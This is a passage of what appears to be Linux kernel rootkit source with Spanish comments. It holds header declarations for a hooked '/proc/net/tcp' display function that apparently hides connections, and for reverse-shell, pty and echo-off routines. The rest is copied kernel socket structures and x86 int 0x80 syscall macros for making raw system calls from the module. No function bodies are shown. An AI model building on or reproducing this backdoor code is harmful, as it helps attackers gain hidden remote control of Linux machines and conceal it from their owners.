4 | struct net_device *dev2);
5 | int hacked_tcp4_seq_show(struct seq_file *seq, void *v);
6 | int reverse_shell(void);
7 | void ejecutar_shell(void);
8 | int get_pty(void);
9 | void eco_off(void);
10 |
11 |
12 | /* estructuras y funciones para remoto.c */
13 |
14 | struct my_request_sock {
15 | struct my_request_sock *dl_next; /* Must be first member! */
16 | u16 mss;
17 | u8 retrans;
18 | u8 __pad;
19 | /* The following two fields can be easily recomputed I think -AK */
20 | u32 window_clamp; /* window clamp at creation time */
21 | u32 rcv_wnd; /* rcv_wnd offered first time */
22 | u32 ts_recent;
23 | unsigned long expires;
24 | struct request_sock_ops *rsk_ops;
25 | struct sock *sk;
26 | };
27 |
28 |
29 | struct my_inet_sock {
30 | struct sock sk;
31 | #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
32 | struct ipv6_pinfo *pinet6;
33 | #endif
34 | /* Socket demultiplex comparisons on incoming packets. */
35 | __u32 daddr;
36 | __u32 rcv_saddr;
37 | };
38 |
39 |
40 | struct my_inet_request_sock {
41 | struct my_request_sock req;
42 | u32 loc_addr;
43 | u32 rmt_addr;
44 | u16 rmt_port;
45 | u16 snd_wscale : 4,
46 | rcv_wscale : 4,
47 | tstamp_ok : 1,
48 | sack_ok : 1,
49 | wscale_ok : 1,
50 | ecn_ok : 1,
51 | acked : 1;
52 | struct ip_options *opt;
53 | };
54 |
55 |
56 | static inline struct my_inet_request_sock *my_inet_rsk
57 | (const struct my_request_sock *sk)
58 | {
59 | return (struct my_inet_request_sock *) sk;
60 | }
61 |
62 |
63 | #if (BITS_PER_LONG == 64)
64 | #define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 8
65 | #else
66 | #define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 4
67 | #endif
68 |
69 |
70 | struct my_sock_common {
71 | unsigned short skc_family;
72 | volatile unsigned char skc_state;
73 | unsigned char skc_reuse;
74 | int skc_bound_dev_if;
75 | struct hlist_node skc_node;
76 | struct hlist_node skc_bind_node;
77 | atomic_t skc_refcnt;
78 | unsigned int skc_hash;
79 | struct proto *skc_prot;
80 | };
81 |
82 |
83 | struct my_inet_timewait_sock {
84 | /*
85 | * Now struct sock also uses sock_common, so please just
86 | * don't add nothing before this first member (__tw_common) --acme
87 | */
88 | struct my_sock_common __tw_common;
89 | #define tw_family __tw_common.skc_family
90 | #define tw_state __tw_common.skc_state
91 | #define tw_reuse __tw_common.skc_reuse
92 | #define tw_bound_dev_if __tw_common.skc_bound_dev_if
93 | #define tw_node __tw_common.skc_node
94 | #define tw_bind_node __tw_common.skc_bind_node
95 | #define tw_refcnt __tw_common.skc_refcnt
96 | #define tw_hash __tw_common.skc_hash
97 | #define tw_prot __tw_common.skc_prot
98 | volatile unsigned char tw_substate;
99 | /* 3 bits hole, try to pack */
100 | unsigned char tw_rcv_wscale;
101 | /* Socket demultiplex comparisons on incoming packets. */
102 | /* these five are in inet_sock */
103 | __u16 tw_sport;
104 | __u32 tw_daddr __attribute__((aligned(INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES)));
105 | __u32 tw_rcv_saddr;
106 | __u16 tw_dport;
107 | __u16 tw_num;
108 | /* And these are ours. */
109 | __u8 tw_ipv6only:1;
110 | /* 31 bits hole, try to pack */
111 | int tw_timeout;
112 | unsigned long tw_ttd;
113 | struct inet_bind_bucket *tw_tb;
114 | struct hlist_node tw_death_node;
115 | };
116 |
117 |
--------------------------------------------------------------------------------
/syscalls.h:
--------------------------------------------------------------------------------
1 | /* macros de syscalls */
2 |
3 | extern int errno;
4 |
5 | #define my__syscall_return(type, res) \
6 | do { \
7 | if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
8 | errno = -(res); \
9 | res = -1; \
10 | } \
11 | return (type) (res); \
12 | } while (0)
13 |
14 | /* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
15 | #define my_syscall0(type,name) \
16 | type name(void) \
17 | { \
18 | long __res; \
19 | __asm__ volatile ("int $0x80" \
20 | : "=a" (__res) \
21 | : "0" (__NR_##name)); \
22 | my__syscall_return(type,__res); \
23 | }
24 |
25 | #define my_syscall1(type,name,type1,arg1) \
26 | type name(type1 arg1) \
27 | { \
28 | long __res; \
29 | __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
30 | : "=a" (__res) \
31 | : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
32 | my__syscall_return(type,__res); \
33 | }
34 |
35 | #define my_syscall2(type,name,type1,arg1,type2,arg2) \
36 | type name(type1 arg1,type2 arg2) \
37 | { \
38 | long __res; \
39 | __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
40 | : "=a" (__res) \
41 | : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
42 | : "memory"); \
43 | my__syscall_return(type,__res); \
44 | }
45 |
46 | #define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
47 | type name(type1 arg1,type2 arg2,type3 arg3) \
48 | { \
49 | long __res; \
50 | __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
51 | : "=a" (__res) \
52 | : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
53 | "d" ((long)(arg3)) : "memory"); \
54 | my__syscall_return(type,__res); \
55 | }
56 |
57 | #define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
58 | type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
59 | { \
60 | long __res; \
61 | __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
62 | : "=a" (__res) \
63 | : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
64 | "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
65 | my__syscall_return(type,__res); \
66 | }
67 |
68 | #define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
69 | type5,arg5) \
70 | type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
71 | { \
72 | long __res; \
73 | __asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
74 | "int $0x80 ; pop %%ebx" \
75 | : "=a" (__res) \
76 | : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
77 | "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
78 | : "memory"); \
79 | my__syscall_return(type,__res); \
80 | }
81 |
82 |
--------------------------------------------------------------------------------